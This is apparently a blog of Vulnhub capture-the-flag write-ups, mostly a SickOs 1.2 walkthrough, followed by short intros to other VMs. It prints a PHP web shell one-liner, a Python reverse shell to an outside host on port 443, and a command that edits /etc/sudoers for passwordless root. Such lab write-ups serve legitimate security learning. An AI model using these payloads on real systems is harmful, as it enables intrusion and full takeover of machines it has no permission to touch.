Vulnhub SickOs 1.2

I appear to have a Vulnhub addiction ATM! I put this down to having a free weekend so I can hone my skills :)

This VM was tricky towards the end as normal scripts etc didn't work.  I certainly had to get outside the box for this one!! It is a great VM and you should definitely give it a go.

So big thanks to Vulnhub and D4rk36 for this :)


scan

root@kali:~# nmap -Pn -sV -p 0-65535 192.168.1.7

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-10-08 16:11 BST
Nmap scan report for 192.168.1.7
Host is up (0.00030s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    lighttpd 1.4.28
MAC Address: 00:0C:29:EB:E6:56 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.06 seconds


ssh

I'll see what ssh yields:


root@kali:~/Downloads# ssh 192.168.1.7
 .oooooo..o  o8o            oooo          .oooooo.                 .o        .oooo.
d8P'    `Y8  `"'            `888         d8P'  `Y8b              o888      .dP""Y88b
Y88bo.      oooo   .ooooo.   888  oooo  888      888  .oooo.o     888            ]8P'
 `"Y8888o.  `888  d88' `"Y8  888 .8P'   888      888 d88(  "8     888          .d8P'
     `"Y88b  888  888        888888.    888      888 `"Y88b.      888        .dP'  
oo     .d8P  888  888   .o8  888 `88b.  `88b    d88' o.  )88b     888  .o. .oP     .o
8""88888P'  o888o `Y8bod8P' o888o o888o  `Y8bood8P'  8""888P'    o888o Y8P 8888888888
                                                                                   
By @D4rk36
root@192.168.1.7's password:

Not alot apart from nice ASCII art :D

I'll try port 80 then!

http

Navigating to the ip gives the following page.

The source code contains no hints, so I'll see if there is anything hidden:

root@kali:~/Downloads# dirb http://192.168.1.7 -w
•
• -----------------
• DIRB v2.22
• By The Dark Raver
• -----------------
•
• START_TIME: Sat Oct 8 16:22:08 2016
• URL_BASE: http://192.168.1.7/
• WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
• OPTION: Not Stoping on warning messages
•
• -----------------
•
• GENERATED WORDS: 4612
•
• ---- Scanning URL: http://192.168.1.7/ ----
• + http://192.168.1.7/index.php (CODE:200|SIZE:163)
• ==> DIRECTORY: http://192.168.1.7/test/
•
• ---- Entering directory: http://192.168.1.7/test/ ----
• (!) WARNING: Directory IS LISTABLE. No need to scan it.
• (Use mode '-w' if you want to scan it anyway)
•                                                      

Let's see what /test yields:

Hmmm....

I try and see if there is anything in the way of known weaknesses in lighttpd/1.4.28 but I come away empty handed.

There must be a way to upload to this page....... Hang on!!! What methods are available on this web page can I PUT??

Phew!! I can PUT here. Now to find out how I can achieve this!! Ideally I want a reverse shell so pentestmonkey's one should do!! (http://pentestmonkey.net/tools/web-shells/php-reverse-shell)

I upload it using nmap's scripting engine:

Check to see if it's there:

Awesome! I set my netcat listener on port 443 then click the file.

Agh!!!

That failed miserably :(

Ok, I wonder if I can get a dirty shell on it?  I use the one liner:

<?php echo shell_exec($_GET['cmd']); ?>

Run the command via the browser:

Sweet!! Now I can try and throw a python listener my way.  I use 443 as it's a web port so less likely to be blocked:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.8",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

And the result is:

Hurrah!!!

Now to start enumerating:

Ok happy with the release details now to see if I can write anywhere:
I can write to /tmp but when I upload my enumeration script it doesn't allow me to execute it :(

I start to enumerate manually and eventually find some things in the crontab:

I'll check out the daily one:

Ok some stuff in here time to start looking at their code.

After sifting through the code nothing jumps out at me so I revert to Google to see if the file "chkrootkit" has any flaws.

Exploit-DB comes up trumps with this  https://www.exploit-db.com/exploits/33899/

Awesome!! Now to create that /tmp/update file and leverage me some privileges!!

Inside the file I put:

chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers

This should give my www-data account sudo rights without a password :)

The cronjob runs and:

I am root :) 

Let's see what is lurking within:

Phew!! This made me stretch the old grey matter!!!!

Vulnuhub Tr0ll

This is another boot2root brought to you by Vulnhub.  Big thanks go out to maleus21 for creating this.  I had fun with this vm and boy did it piss me off at times lol. I remembered to step back and think a bit more with this vm too (let's be honest most of the time it's dive in and "must get roooooootttttt!!!!")

I am going to stop using cherry tree after this, as I am not happy about the quality it exports at.

So here it is!!

Vulnhub SickOS1.1

Vulnhub has kept me amused today as I had some free time.  As this VM is based on an OSCP machine I thought I would see how I fared.  Thanks again to vulnhub and @D4rk36 for making it.

So here it is:

https://www.vulnhub.com/entry/sickos-11,132/

And here's my bit enjoy!!

Vulnhub Mr-Robot 1

First of all thanks to Jason for making this VM and for Vulnhub who host it.

The URL of this is https://www.vulnhub.com/entry/mr-robot-1,151/

I really enjoyed this VM as it approached things a little bit different than others in how you grab root.  I did have some "fun" with latency in my VMWare and I also got some weird double echoes as well? But I managed to sort it in a very technical way of rebooting.

Anyway enough of me!!